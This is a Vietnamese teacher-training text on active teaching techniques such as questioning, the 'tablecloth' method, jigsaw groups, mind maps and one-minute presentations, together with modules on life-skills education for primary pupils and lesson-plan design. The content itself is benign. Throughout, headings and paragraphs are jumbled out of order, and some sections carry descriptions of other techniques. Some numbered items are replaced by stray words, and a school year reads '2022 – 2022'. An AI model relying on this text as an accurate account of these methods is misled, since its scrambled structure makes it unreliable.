    * Khi nêu câu hỏi cho HS cần chú ý: 1.Đưa ra câu hỏi với một thái độ khuyến khích, với giọng nói ôn tồn, nhẹ nhàng. chúng tôi hút sự chú ý của HS trước khi nêu câu hỏi. 3.Chú ý phân bố hợp lí số HS được chỉ định trả lời. 4.Chú ý khuyến khích những HS rụt rè, chậm chạp. 5.Sử dụng câu hỏi mở và câu hỏi đóng phù hợp với từng trường hợp. chúng tôi kiểm tra sử dụng câu hỏi đóng; 7. Khi cần mở rộng ý ta dùng câu hỏi mở. Ví dụ: Em có nhận xét gì về bức tranh Thiếu nữ bên hoa huệ? 8.Không nên nêu những câu hỏi quá đơn giản. Ví dụ : Đối với HS lớp 4, 5 mà GV nêu: Các em xem có mấy hình vẽ? Hoặc hỏi HS: Hiểu chưa?

    2. 3. Kĩ thuật “Khăn trải bàn”

    Học theo góc là một hình thức tổ chức hoạt động học tập theo đó người học thực hiện các nhiệm vụ khác nhau tại vị trí cụ thể trong không gian lớp học, đáp ứng nhiều phong cách học khác nhau. Học theo góc người học được lựa chọn họat động và phong cách học: Cơ hội “Khám phá”, ‘Thực hành”; Cơ hội mở rộng, phát triển, sáng tạo; Cơ hội đọc hiểu các nhiệm vụ và hướng dẫn bằng văn bản của người dạy; Cơ hội cá nhân tự áp dụng và trải nghiệm.

    Cách tổ chức: Kĩ thuật khăn trải bàn:

    *Áp dụng: Tổ chức học theo góc trong tiết ôn tập về toán. Góc HS giỏi; Góc HS còn yếu; Góc HS trung bình đến khá

    a. Thế nào là kĩ thuật “khăn trải bàn”? Là hình thức tổ chức hoạt động mang tính hợp tác kết hợp giữa hoạt động cá nhân và hoạt động nhóm nhằm: 1- Kích thích, thúc đẩy sự tham gia tích cực; 2- Tăng cường tính độc lập, trách nhiệm của cá nhân HS; 3- Phát triển mô hình có sự tương tác giữa HS với HS.

    – Chia giấy A0 thành phần chính giữa và phần xung quanh. Chia phần xung quanh thành các phần theo số thành viên của nhóm.

    2.4. Kĩ thuật “Các mảnh ghép”

    – Cá nhân trả lời câu hỏi và viết trên phần xung quanh.

    – Treo SP, trình bày.

    Thế nào là kĩ thuật “Các mảnh ghép” là hình thức học tập hợp tác kết hợp giữa cá nhân, nhóm và liên kết giữa các nhóm nhằm:

    + Giải quyết một nhiệm vụ phức hợp

    + Kích thích sự tham gia tích cực của HS:

    Nâng cao vai trò của cá nhân trong quá trình hợp tác (Không chỉ hoàn thành nhiệm vụ ở Vòng 1 mà còn phải truyền đạt lại kết quả vòng 1 và hoàn thành nhiệm vụ ở vòng 2).

    Cách tiến hành kĩ thuật “Các mảnh ghép”

    VÒNG 1 Hoạt động theo nhóm 3 người. Mỗi nhóm được giao một nhiệm vụ (Ví dụ : nhóm 1 : nhiệm vụ A; nhóm 2: nhiệm vụ B, nhóm 3: nhiệm vụ C). Đảm bảo mỗi thành viên trong nhóm đều trả lời được tất cả các câu hỏi trong nhiệm vụ được giao. Mỗi thành viên đều trình bày được kết quả câu trả lời của nhóm

    VÒNG 2: Hình thành nhóm 3 người mới (1người từ nhóm 1, 1 người từ nhóm 2 và 1 người từ nhóm 3)

    2.5. Kĩ thuật sơ đồ tư duy

    * Các câu trả lời và thông tin của vòng 1 được các thành viên nhóm mới chia sẻ đầy đủ với nhau

    * Nhiệm vụ mới sẽ được giao cho nhóm vừa thành lập để giải quyết

    * Lời giải được ghi rõ trên bảng

    Sơ đồ tư duy là một công cụ tổ chức tư duy. Đây là cách dễ nhất để chuyển tải thông tin vào bộ não rồi đưa thông tin ra ngoài bộ não; là phương tiện ghi chép sáng tạo, hiệu quả nhằm sắp xếp ý nghĩa.

    – Mục tiêu là giúp phát triển tư duy logic, khả năng phân tích tổng hợp; HS hiểu bài nhớ lâu.

    – Tác dụng là giúp HS hệ thống hóa kiến thức. tìm ra mối liên hệ giữa các kiến thức; hiểu bài nhớ lâu, phát triển tư duy logic; mang lại hiệu quả dạy học cao.

    – Cách lập sơ đồ tư duy

    + Ở vị trí trung tâm sơ đồ là một hình ảnh hay một cụm từ thể hiện một ý tưởng khái niệm/nội dung/chủ đề.

    + Từ ý tưởng hình ảnh sẽ phát triển các nhánh chính, nối các cụm từ, hình ảnh cấp một.

    2.6. Kĩ thuật hỏi và trả lời

    – Yêu cầu sư phạm:

    Hướng dẫn HS tìm ra ý tưởng. Khi lập sơ đồ tư duy cần lưu ý: Các nhánh chính được tô đậm, các nhánh cấp 2,3 vẽ bằng các nét mảnh dần; từ cụm từ hình ảnh trung tâm tỏa đi các nhánh nên sử dụng màu sắc khác nhau, màu sắc nhánh chính cần duy trì đến các nhóm phụ.

    Dùng các đường cong thay cho các đường thẳng; bố trí các thông tin đều theo hình ảnh/cụm từ.

    – Giúp HS củng cố, khắc sâu kiến thức đã học thông qua việc hỏi, trả lời

    – Tác dụng: Củng cố, khắc sâu kiến thức cho HS; phát triển KN đặt câu hỏi, KN trình bày, khả năng phản ứng nhanh; tạo hứng thú cho HS; giúp GV biết được kết quả học tập của các em.

    – Cách tiến hành

    + HS trả lời xong câu hỏi đầu tiên lại đặt câu hỏi tiếp theo, yêu cầu HS khác trả lời…cứ tiếp nối như thế cho đến các bạn khác.

    – Yêu cầu sư phạm

    + Chủ đề phải có nội dung phong phú, đặt được nhiều câu hỏi

    + GV có thể đặt câu hỏi trước ( nếu HS chưa quen)

    2.7. Kĩ thuật trình bày một phút

    + Tạo cơ hội cho tất cả HS trong lớp được hỏi, trả lời

    + Khi HS trả lời không được có thể yêu cầu bạn khác trả lời, song mất quyền đặt câu hỏi cho người khác

    + KT hỏi và trả lời sử dụng hợp cho các tiết ôn tập. khi kiểm tra bài cũ, củng cố bài học.

    – Mục tiêu là tạo cơ hội cho HS tổng kết lại kiến thức; trình bày những băn khoăn, thắc mắc trước lớp

    – Tác dụng: Giúp củng cố quá trình học tập; giúp HS tự thấy được mình hiểu vấn đề ngang đâu.

    – Cách tiến hành

    B. VẬN DỤNG KĨ THUẬT DẠY HỌC TÍCH CỰC VÀO GIẢNG DẠY MỘT SỐ TIẾT TRONG NĂM HỌC 2022 – 2022 1. BẢNG THỰC HÀNH TIẾT DẠY 2. Đánh về khả năng vận dụng các kĩ thuật dạy học vào thực tế

    + Cuối tiết học, GV yêu cầu HS suy nghĩ trả lời các câu hỏi sau: ( Điều quan trọng nhất các em học hôm nay là gì? Vấn đề gì các em chưa giải đáp hôm nay? Các em có những băn khoăn, thắc mắc gì?); HS viết ra giấy; trình bày trước lớp trong thời gian không quá 1 phút.

    – Lưu ý khi sử dụng

    Dành thời gian phù hợp cho HS chuẩn bị; động viên khuyến khích HS tham gia trình bày; lắng nghe tôn trọng phần trình bày của HS, không tỏ thái độ chê bai; động viên HS khác lắng nghe câu trả lời và trả lời câu hỏi đặt ra; giải đáp các câu hỏi, thắc mắc của HS.

    a) Kĩ thuật đặt câu hỏi

    Kĩ thuật này có thể vận dụng hầu hết các môn học, mang lại hiệu quả cao. Để phát huy tích tích cực của KTDH này cần tạo điều kiện cho các em đặt câu hỏi trao đổi với nhau và đặt câu hỏi trao đổi với thầy cô.

    b) Kĩ thuật “Khăn trải bàn”

    Khi sử dụng kĩ thuật này, cần lưu ý lựa chọn nội dung cho phù hợp. Đặc biệt cần chuẩn bị chu đáo. Nên tạo điều kiện cho các em tự chuẩn bị các đồ dùng học tập trước ở nhà.

    c) Kĩ thuật “mảnh ghép”:

    Cần lựa chọn nội dung phù hợp. Lưu ý nhiệm vụ phức hợp được giao cho các nhóm theo các vòng phải tương đương nhau, các kiến thức lôgic, không rời rạc. Quan tâm đến các em học sinh khó khăn, tạo điều kiện cho các em rèn các kĩ năng hợp tác, trình bày, …tạo các em sự tự tin.

    Kĩ thuật dạy học này áp dụng vào tiết hình thành bài mới hay ôn tập. Khi dạy cần chú ý chuẩn bị chu đáo.

    Hạn chế : mất nhiều thời gian.

    d) Kĩ thuật sơ đồ tư duy:

    Kĩ thuật này rất hiệu quả trong tiết ôn tập có thể vận dụng hầu hết các môn học. Cần dạy cho các em cách vận dụng kĩ thuật này (rèn tư duy tổng hợp).

    đ) Kĩ thuật hỏi và trả lời:

    Kĩ thuật này có thể sử dụng trong hầu hết các môn học, hầu hết các hoạt động dạy học của các môn học.

    e) Kĩ thuật trình bày một phút:

    Kĩ thuật này hiệu quả và có thể áp dụng ở hoạt động củng cố cuối mỗi tiết học.

    g) Kĩ thuật dạy học theo góc

    Học theo góc đòi hỏi không gian lớp học rộng với số lượng HS vừa phải.

    PHẦN III: MODULE 39 GIÁO DỤC KĨ NĂNG SỐNG CHO HSTH QUA CÁC MÔN HỌC I. Một số vấn đề chung về kĩ năng sống và giáo dục kĩ năng sống qua các môn học ở tiểu học 1. Khái niệm về kỹ năng sống:

    Cần nhiều thời gian cho hoạt động học tập.

    2. Mục tiêu:

    Không phải bài học/nội dung nào cũng áp dụng được phương pháp học theo góc.

    Đòi hỏi giáo viên phải có kinh nghiệm trong việc tổ chức, quản lý và giám sát hoạt động học tập cũng như đánh giá được kết quả học tập của HS.

    Kĩ năng sống là khả năng làm chủ bản thân của mỗi người, khả năng ứng xử phù hợp với những người khác và với xã hội, khả năng ứng phó tích cực trước các tình huống của cuộc sống.

    – Trang bị cho học sinh những kiến thức, giá trị, thái độ, kỹ năng phù hợp .

    – Hình thành cho HS những hành vi, thói quen lành mạnh, tích cực; loại bỏ những hành vi, thói quen tiêu cực.

    – KNS giúp HS có khả năng ứng phó phù hợp và linh hoạt trong các tình huống của cuộc sống hàng ngày.

    – KNS giúp HS vận dụng tốt kiến thức đã học, làm tăng tính thực hành.

    3. Yêu cầu:

    – Tạo cơ hội thuận lợi để HS thực hiện tốt quyền, bổn phận của mình và phát triển toàn diện về thể chất, trí tuệ, tinh thần và đạo đức

    – Nhằm đẩy mạnh phong trào thi đua “Xây dựng trường học thân thiện, học sinh tích cực”, đồng thời có sự thống nhất cao việc tăng cường giáo dục kỹ năng sống cho học sinh tiểu học trong – toàn cấp học.

    – Giúp GV soạn và dạy được KNS cho học sinh TH.

    Việc bố trí sắp xếp bàn ghế trong phòng học, vị trí trưng bày sản phẩm của học sinh….

    Chuẩn bị thiết bị đồ dùng dạy học, các loại phiếu học tâp sử dụng cho các hoạt động trong giờ học.

    Giáo viên mạnh dạn, tích cực trong việc tổ chức các hoạt động dạy học, vận dụng các phương pháp dạy học, các kỹ thuật dạy học phù hợp…

    Tạo được sự thân thiện, hợp tác, các giao tiếp ứng xử trong giờ học giữa giáo viên và học sinh, học sinh và học sinh, động viên, tạo cơ hôị cho mọi đối tượng học sinh cùng tham gia

    GDKNS cho HS TH thông qua các kĩ thuật dạy học, tổ chức các hoạt động GDNGLL, phối hợp giữa nhà trường, gia đình và cộng đồng.

    Nhà trường cần phải rà soát lại thực trạng của trường mình, về hạn chế và hướng giải quyết để có thể tổ chức tốt việc giáo dục kỹ năng sống cho học sinh, sau đó căn cứ vào chương trình khung của PGD, xây dựng chương trình cụ thể cho đơn vị.

    II. Nội dung và phương pháp giáo dục kĩ năng sống qua các môn học ở tiểu học: 1.Trong các chương trình giáo dục kĩ năng sống cho HSTH , người ta nhắc đến những nhóm kỹ năng sống sau đây:

    Tùy theo hoàn cảnh thực tế của từng địa phương, từng trường để triển khai GDKNS cho thật hiệu quả.

    Các trường cũng cần phải xây dựng được quy tắc ứng xử văn hóa. Thầy cô giáo, cán bộ, phụ huynh phải gương mẫu. Bên cạnh đó, cần tạo được môi trường thân thiện, gia đình thân thiện, cộng đồng thân thiện.

    Ngoài ra, việc đẩy mạnh phong trào thi đua “Xây dựng trường học thân thiện, học sinh tích cực” cũng là giải pháp góp phần trang bị thêm nhiều kiến thức kỹ năng sống cho học sinh.

    a)Nhóm kĩ năng nhận thức:

    Nhận thức bản thân.

    Xây dựng kế hoạch.

    Kĩ năng học và tự học

    Tư duy tích cực và tư duy sáng tạo.

    Giải quyết vấn đề

    b)Nhóm kĩ năng xã hội:

    Kĩ năng giao tiếp .

    Kĩ năng thuyết trình và nói trước đám đông.

    Kĩ năng diễn đạt cảm xúc và phản hồi.

    Kĩ năng làm việc nhóm (làm việc đồng đội)

    Kĩ năng quan sát.

    Kĩ năng lãnh đạo (làm thủ lĩnh).

    c)Nhóm kĩ năng quản lý bản thân:

    Kĩ năng làm chủ.

    Quản lý thời gian

    Giải trí lành mạnh

    d)Nhóm kĩ năng giao tiếp

    Xác định đối tượng giao tiếp

    Xác định nội dung và hình thức giao tiếp

    e)Nhóm kĩ năng phòng chống bạo lực:

    Phòng chống xâm hại thân thể.

    2. Các phương pháp và kỹ thuật tích hợp lồng ghép giáo dục kỹ năng sống vào môn học: a. Sự khác biệt giữa dạy các môn học (VD: Đạo đức) với GDKNS:

    Phòng chống bạo lực học đường.

    Phòng chống bạo lực gia đình.

    Tránh tác động xấu từ bạn bè.

    b. PPDH – Kỹ thuật dạy học:

    Chương trình giáo dục môn Đạo đức ở cấp tiểu học có một số nội dung trùng hợp với nội dung của giáo dục kỹ năng sống. Tuy nhiên, mục đích và phương pháp dạy các môn này không giống nhau hoàn toàn.

    Ví dụ: Trong chương trình môn Đạo đức lớp 1, tuần 19 có bài: “Lễ phép, vâng lời thầy cô giáo”. Trong dạy kỹ năng sống, không có khái niệm “vâng lời”, chỉ có khái niệm “lắng nghe”, “đồng cảm”, “chia sẻ”. Mục tiêu của giáo dục kỹ năng sống là rèn luyện cách tư duy tích cực, hình thành thói quen tốt thông qua các hoạt động và bài tập trải nghiệm, chứ không đặt mục đích “rèn nếp” hay “nghe lời”. Công dân toàn cầu là người biết suy nghĩ bằng cái đầu của mình, biết phân tích đúng sai, quyết định có làm điều này hay điều khác và chịu trách nhiệm về điều đó, chứ không tạo ra lớp công dân “chỉ biết nghe lời”.

    Đây là sự khác biệt cơ bản của việc giáo dục kỹ năng sống với các môn học khác (như môn Đạo đức).

    3. Một số biện pháp rèn kĩ năng sống cho học sinh thông qua các môn học a. Rèn kĩ năng sống hiệu quả qua việc tích hợp vào các môn học

    Cũng như các môn học khác, GDKNS cũng sử dụng các

    PPDH tích cực như:

    • PPDH theo nhóm
    • PP giải quyết vấn đề
    • PP đóng vai
    • PP trò chơi

      Kỹ thuật dạy học:

    • Kỹ thuật chia nhóm
    • Kỹ thuật đặt câu hỏi
    • Kỹ thuật khăn trải bàn
    • Kỹ thuật trình bày 1 phút
    • Kỹ thuật bản đồ tư duy …

    Để giáo dục kĩ năng sống cho học sinh có hiệu quả bản thân đã vận dụng vào các môn học, tiết học, nhất là các môn như: Mỹ thuật; Đạo đức; Thể dục; HĐGDCĐ…. để những giờ học sao cho các em được làm để học, được trải nghiệm như trong cuộc sống thực.

    Ở môn Đạo đức, để các chuẩn mực đạo đức, pháp luật xã hội trở thành tình cảm, niềm tin, hành vi và thói quen của học sinh. Cần sử dụng các phương pháp, kĩ thuật dạy học tích cực , học sinh sẽ được tạo cơ hội để thực hành, trải nghiệm nhiều kĩ năng sống cần thiết, phù hợp với lứa tuổi. Đó là lối sống lành mạnh, các hành vi ứng xử phù hợp với nền văn minh xã hội. Lối sống, hành vi như gọn gàng, ngăn nắp, nói lời hay, làm việc tốt, chăm sóc bố mẹ, ông bà, hợp tác, giúp đỡ, chia sẻ với bạn…

    Ở môn Thể dục, giúp HS có ý thức rèn luyện thể dục hằng ngày, tự giác thực hiện nếp sống lành mạnh, kỷ luật, khắc phục những hành vi có hại cho sức khoẻ. Biết tham gia các hoạt động thể thao và nghỉ ngơi một cách hợp lí để có sức khoẻ tốt.

    Kỹ năng sống là một tập hợp các kỹ năng mà con người có được thông qua giảng dạy hoặc kinh nghiệm trực tiếp được sử dụng để xử lý những vấn đề, câu hỏi thường gặp trong cuộc sống hàng ngày của con người.

    Trong những năm trở lại đây, khi Phong trào “Xây dựng trường học thân thiện, học sinh tích cực” được triển khai và hưởng ứng mạnh mẽ trong các cấp học, ngoài việc nâng cao chất lượng giáo dục, các đơn vị trường học ngày càng chú trọng tới công tác giáo dục đạo đức, KNS cho HS, đặc biệt là HSTH.

    Khi tham gia vào bất kỳ hoạt động nghề nghiệp nào phục vụ cho cuộc sống, đều đòi hỏi chúng ta phải thỏa mãn những kỹ năng tương ứng. Rèn luyện KNS cho HS là nhằm giúp các em rèn luyện KN ứng xử thân thiện trong mọi tình huống; thói quen và KN làm việc theo nhóm, KN hoạt động xã hội; Giáo dục cho học sinh thói quen rèn luyện sức khỏe, ý thức tự bảo vệ bản thân, phòng ngừa tai nạn giao thông, đuối nước và các tệ nạn xã hội. Đối với HS tiểu học việc hình thành các KN cơ bản trong học tập và sinh hoạt là vô cùng quan trọng, ảnh hưởng đến quá trình hình thành và phát triển nhân cách sau này.

    – Thực tế các KN này được đưa vào mục tiêu cụ thể từng môn học, bài học mà tập trung nhiều nhất là môn Đạo đức và các hoạt động ngoài giờ lên lớp. Để có hiệu quả cao, chúng ta cần tổ chức tốt các biện pháp sau:

    + Đổi mới phương pháp dạy học theo hướng phát huy tính độc lập, sáng tạo của học sinh gắn với thực tiễn, có tài liệu bổ trợ phong phú, sử dụng thiết bị dạy học và ứng dụng CNTT trong dạy học, luôn tạo cho các em tính chủ động, tích cực, hứng thú trong học tập; phát huy tính sáng tạo, tạo được bầu không khí cởi mở thân thiện của lớp của trường. Trong giờ học, giáo viên cần tạo cơ hội cho các em được nói, được trình bày trước nhóm bạn, trước tập thể, nhất là các em còn hay rụt rè, khả năng giao tiếp kém qua đó góp phần tích lũy KNS cho các em.

    + Quán triệt mục tiêu giảng dạy môn Đạo đức, nhất là hình thành các hành vi đạo đức ở hs. GV làm tốt công tác kiểm tra đánh giá phân loại hạnh kiểm của HS, rèn cho học sinh khả năng tự học, tự chăm sóc bản thân, biết lễ phép, hiếu thảo, tự phục vụ bữa ăn và vệ sinh cá nhân.

    III. Nội dung và địa chỉ giáo dục kĩ năng sống cho học sinh qua một số môn học cụ thể ở tiểu học như: Mỹ thuật, Đạo đức… A. Môn Mỹ Thuật:

    + Với học sinh tiểu học, thầy cô giáo là người mẹ hiền thứ hai của các em, các em luôn luôn nghe lời dạy bảo và làm theo những gì thầy cô dạy, thầy cô giáo phải là tấm gương sáng về đạo đức, nhất là tấm gương về cách ứng xử văn hóa, chuẩn mực trong lời nói và việc làm. Giáo dục KNS cho HS sẽ khó hơn khi chính thầy cô không phải là một tấm gương.

    + Nhà trường tổ chức tốt các buổi chào cờ đầu tuần với các hoạt động và giao lưu qua các tiết mục văn nghệ, kể chuyện, câu đố, trò chơi… do chính các em đứng ra tổ chức.

    + Xây dựng trường, lớp xanh-sạch-đẹp-an toàn. Trong đó cần chú trọng tạo môi trường tự nhiên gần gũi với cuộc sống như trồng vườn rau xanh , các câu khẩu hiệu, bồn hoa để thông qua đó mà giáo dục ý thức BVMT ở các em. Ngoài ra, nhà trường cần phối hợp với gia đình, các tổ chức xã hội trong và ngoài nhà trường để cùng góp phần giáo dục KNS cho các em.

    + Tổ chức các buổi hoạt động ngoài giờ lên lớp, các cuộc thi văn nghệ, thể thao…

    * Dạy KNS cho tuổi trẻ học đường trong giai đoạn hiện nay là một yêu cầu cấp thiết ở các trường phổ thông nói chung, bậc tiểu học nói riêng. Việc rèn luyện các kỹ năng sống cho học sinh tiểu học đòi hỏi phải có sự nhẫn nại và không ngại thử thách. Bởi trẻ em là những đối tượng rất dễ sa ngã nếu không có phương pháp giáo dục đúng đắn. Do đó cần có sự hợp tác từ phía nhà trường lẫn bậc phụ huynh để tạo môi trường giáo dục thích hợp và mang tính định hướng giúp trẻ có thể tự phát triển bản thân một cách tốt nhất. Hãy tập cho trẻ từ những việc nhỏ nhặt nhất ngay từ bây giờ.

    Dạy học mĩ thuật theo phương pháp mới là phương pháp dạy học yêu cầu người giáo viên phải chủ động theo từng nội dung tiết dạy và có thể tích hợp nhiều kiến thức trong một bài dạy. Đây là chương trình giáo dục mĩ thuật Tiểu học năng động, phát huy và rèn luyện được nhiều năng lực cho học sinh đặc biệt là kĩ năng sống- Một sự thay đổi lớn cả về phương pháp lẫn mục tiêu giáo dục mĩ thuật ở Tiểu học. Ngoài việc thay đổi nội dung chương trình, phương pháp, sự thay đổi hình thức tổ chức lớp học phần lớn được thông qua hoạt động nhóm. Trong giờ học, mỗi học sinh có một ý tưởng khác nhau, có cách nhìn về sự vật khác nhau, song để có một bức tranh hay một mô hình hoàn chỉnh thì cần lắm sự tương tác, hỗ trợ lẫn nhau của tất cả các bạn trong nhóm, lớp.

    Với những học sinh có năng khiếu được bộc lộ khả năng của mình, qua đó tinh thần hợp tác được nâng cao.

    Khả năng GD KNS qua môn Mỹ thuật:

    NỘI DUNG GD KNS TRONG MÔN MỸ THUẬT

    Mục tiêu và nội dung giáo dục KNS qua môn Mỹ thuật:

    – Giúp HS bước đầu hình thành và rèn luyện các KNS cần thiết, phù hợp lứa tuổi; nhận biết được những giá trị tốt đẹp trong cuộc sống, biết tự nhìn nhận, đánh giá đúng về bản thân; biết ứng xử phù hợp trong các mối quan hệ; biết sống tích cực, chủ động trong mọi điều kiện, hoàn cảnh.

    – Nội dung GD KNS được thể hiện ở tất cả các nội dung học tập của môn học.

    – Những KNS chủ yếu đó là: KN tự nhận thức; KN suy nghĩ sáng tạo; KN ra quyết định; KN làm chủ bản thân; kĩ năng làm việc nhóm, kĩ năng thuyết trình và nói trước đám đông, kĩ năng diễn đạt cảm xúc và phản hồi, kĩ năng quan sát.

    Kết luận:

    * Các yêu cầu cần thiết phải đưa GD KNS vào môn Mỹ thuật:

    – Xuất phát từ Thực tế cuộc sống: sự phát triển của KHKT, sự hội nhập, giao lưu, những yêu cầu và thách thức mới của cuộc sống hiện đại

    – Xuất phát từ mục tiêu GDTH: GD con người toàn diện

    -Xuất phát từ đổi mới mục tiêu, nội dung và phương pháp dạy học

    – Xuất phát từ thực tế dạy học Mỹ thuật: cung cấp KT và KN thông qua hoạt động giáo dục mỹ thuật. – Nghệ thuật nói chung, mỹ thuật nói riêng là con đường tiếp cận để giáo dục kỹ năng sống, rèn nhân cách cho học sinh, bởi vì sự chuyển dịch về ý thức, hành vi bắt nguồn từ cảm xúc mang tính bền vững nhất. * Các loại KNS :

    – KN cơ bản : gồm kỹ năng đơn lẻ và kỹ năng tổng hợp

    – KN đặc thù :

    B. Môn Đạo đức:

    + KN nghề nghiệp

    + KN chuyên biệt

    – KNS đặc thù, thể hiện ưu thế của môn MT : KN quan sát (Quan sát là hoạt động vừa mang tính trực quan, vừa mang tính tư duy cao, giúp nâng cao năng lực phân tích, so sáng, tưởng tượng, khả năng nhẫn lại, khả năng tập trung, thấu hiểu cảm xúc, giúp nâng cao năng lực giao tiếp với tự nhiên và xã hội).

    – KN nhận thức (gồm nhận thức thế giới xung quanh, tự nhận thức, ra quyết định,…) là những KN mà môn MT có ưu thế, vì đối tượng của môn học này là thế giới trực quan sinh động.

    – KN…..

    – Các KNS này của HS được hình thành, phát triển dần, từ những KN đơn lẻ đến những KN tổng hợp.

    + Đạo đức GD cho HS bước đầu biết sống và ứng xử phù hợp với các chuẩn mực biến nhận thức thành hành vi chuẩn mực thể hiện thông qua kĩ năng sống.

    + Bước đầu trang bị cho HS các KNS cần thiết, phù hợp với lứa tuổi.

    + Hình thành cho HS những hành vi, thói quen lành mạnh, tích cực; loại bỏ những hành vi, thói quen tiêu cực.

    + Phát triển khả năng tư duy và sáng tạo của học sinh.

    +Rèn cho học sinh biết cách tự phục vụ bản thân và vệ sinh cá nhân, giữ gìn vệ sinh môi trường, bảo vệ môi trường.

    + Rèn cho học sinh biết cách giao tiếp và ứng xử phù hợp và linh hoạt trong cuộc sống hằng ngày.

    +Hướng dẫn học sinh biết cách phối hợp công việc của từng cá nhân khi làm việc đồng đội.

    +KNS giúp HS vận dụng tốt kiến thức đã học, làm tăng tính thực hành.

    PHẦN IV: MODULE 40 THỰC HÀNH GIÁO DỤC KĨ NĂNG SỐNG NỘI DUNG 1: CẤU TRÚC KẾ HOẠCH BÀI HỌC THEO ĐỊNH HƯỚNG TĂNG CƯỜNG GIÁO DỤC KĨ NĂNG SỐNG 1. Xác định mục tiêu bài học tăng cường giáo dục kĩ năng sống. TRONG MỘT SỐ MÔN HỌC Ở TIỂU HỌC 2. Cấu trúc kế hoạch bài học theo hướng tăng cường giáo dục kĩ năng sống.

    +Biết sống tích cực, chủ động.

    +Tạo cơ hội thuận lợi để HS thực hiện tốt quyền, bổn phận của mình và phát triển toàn diện về thể chất, trí tuệ, tinh thần và đạo đức.

    Thông qua môn Đạo đức, kiến thức được hình thành trên cơ sở từ việc quan sát tranh, từ một truyện kể, một việc làm, một hành vi, chuẩn mực nào đó, sau đó rút ra bài học. Từ bài học đó các em liên hệ thực tế xung quanh, bản thân, gia đình và xã hội và môi trường tự nhiên. Chỉ khác hơn là GV viên cố gắng trong phạm vi có thể khi soạn và giảng từng phần của bài học phải tạo một điểm nhấn cụ thể, rõ ràng, nhằm khắc sâu những kĩ năng sống đã có sẵn trong từng bài học và những kĩ năng sống chúng ta lồng ghép trong quá trình soạn -giảng.

    Thông qua các hoạt động giáo dục giúp học sinh củng cố, bổ sung và mở rộng thêm tri thức đã học, phát triển óc thẩm mỹ, tăng cường thể chất, nhận thức và xã hội, ý thức công dân, tình yêu quê hương, đất nước. Giáo dục thái độ tích cực, tinh thần đoàn kết, ý thức chủ động và mạnh dạn trong các hoạt động tập thể. Rèn luyện cho học sinh các kĩ năng tự quản hoạt động ngoài giờ lên lớp, góp phần GD tính tích cực của người công dân tương lai.

    Hoạt động 1: Tìm hiểu cấu trúc một kế hoạch bài học tăng cường giáo dục kĩ năng sống

    a. Kế hoạch bài học được thiết kế bao gồm các mục lớn sau:

    – Mục tiêu bài học: Nhằm xác định các yêu cầu mà học sinh cần phải đạt được sau khi học xong bài.

    – Các KNS được giáo dục: Nhằm xác định các KNS cụ thể được giáo dục cho HS qua bài học

    – Các phương pháp và kỹ thuật dạy học tích cực: Nhằm xác định các phương pháp và kỹ thuật dạy học có thể sử dụng để giáo dục KNS nêu trên cho học sinh.

    – Tài liệu và phương tiện: Nhằm xác định cá tài liệu và phương tiện dạy học cần thiết mà GV và HS cần phải chuẩn bị để sử dụng cho việc dạy học và học bài cụ thể này.

    – Tiến trình dạy học: Nhằm xác định các giai đoạn, các hoạt động dạy học cụ thể trong quá trình dạy học bài học.

    b. So sánh giữa kế hoạch bài học theo hướng tăng cường KNS và kế hoạch bài học truyền thống.

    – Điểm giống nhau: Đều có mục lớn như: mục tiêu bài học, tài liệu và phương tiện, tiến trình dạy học và tư liệu.

    – Điểm khác nhau: Kế hoạch bài học theo hướng tăng cường KNS có thêm 2 mục tiêu đó là các KNS được giáo dục, phương pháp và kĩ thuật dạy học tích cực.

    Hoạt động 2: Tìm hiểu cách viết mục tiêu bài học

    – Mục tiêu bài học bao gồm những mục tiêu cụ thể về kiến thức, về kĩ năng, hành vi và về thái độ.

    – Các mục tiêu không chung chung mà được diễn đạt bằng những động từ cụ thể, phù hợp với trình độ và đặc điểm của HS tiểu học, có thể định lượng, đo, đếm được, ví dụ như nêu được, trình bày được……

    Hoạt động 3: Tìm hiểu các giai đoạn trong tiến trình dạy học

    – Tiến trình dạy học của kế hoạch bài học theo hướng tăng cường KNS được chia thành 4 giai đoạn:

    3. Thực hành thiết kế kế hoạch dạy học theo hướng tăng cường giáo dục kĩ năng sống.

    + Khám phá

    + Kết nối

    + Thực hành, luyện tập

    + Vận dụng

    – Kích thích học sinh tự tìm hiểu xem đã biết gì về vấn đề sẽ được học

    – Giúp GV xác định thực trạng của HS trước khi giới thiệu vấn đề mới

    Hoạt động1: Nhận xét về trang phục

    – Giới thiệu thông tin, kiến thức và kỹ năng mới thông qua việc liên kết giữa cái đã biết với cái chưa biết

    – GV thiết kế/ chuẩn bị những hoạt động mà theo đó yêu cầu HS phải sử dụng KT và KN mới

    – HS làm việc theo nhóm, cặp,… để hoàn thành nhiệm vụ

    – GV giám sát, điều chỉnh nếu cần thiết

    – GV khuyến khích HS thể hiện những điều các em suy nghĩ hoặc mới lĩnh hội được

    Tạo cơ hội cho HS tích hợp, mở rộng và vận dụng kiến thức và kỹ năng có được vào các tình huống/ bối cảnh mới.

    Lưu ý: GV cần phối hợp với phụ huynh trong việc nhắc nhở, động viên HS thực hành ở nhà để nội dung bài dạy đạt hiệu quả cao.

    – GV cùng HS lập kế hoạch các hoạt động đòi hỏi HS vận dụng kiến thức và KN mới

    – HS làm việc theo nhóm, cặp,…để hoàn thành nhiệm vụ

    – GV cùng HS tham gia hỏi và trả lời trong quá trình hoạt động

    – Gv đánh giá kết quả học tập của HS

    So sánh các giai đoạn này các bước lên lớp mà GV vẫn thường áp dụng trong thực tế:

    Khám phá cũng không chỉ đơn thuần là giới thiệu bài mới của các bước lên lớp truyền thống. Vì giới thiệu bài mới nhiều khi chỉ là một vài câu giới thiệu của GV, còn khám phá thì không phải như vậy. Trong giai đoạn khám phá, HS phải hồi tưởng, phải suy nghĩ và chia sẽ hoặc phải cùng tham gia các hoạt động mang tính chất trải nghiệm.

    a) Kết nối: Kết nối tương đương với phần phát triển bài mới của các bước lên lớp truyền thống nhưng các bước thực hiện phải trên cơ sở liên kết giữa những kiến thức, kĩ năng, kinh nghiệm HS đã có với cái HS chưa biết và cần biết.

    NỘI DUNG 2: PHÂN TÍCH, ĐÁNH GIÁ MỘT SỐ KẾ HOẠCH BÀI HỌC THEO ĐỊNH HƯỚNG TĂNG CƯỜNG GIÁO DỤC KNS ĐÃ THIẾT KẾ

    b) Thực hành/luyện tập: Thực hành/luyện tập tương đương với phần Củng cố của các bước lên lớp truyền thống nhưng không phải là HS chỉ cần trả lời các câu hỏi do GV đưa ra mà trong giai đoạn này HS phải thực hiện các hoạt động để vận dụng các kiến thức, kĩ năng vừa học trong những tình huống/bối cảnh tương tự như những tình huống/bối cảnh mẫu.

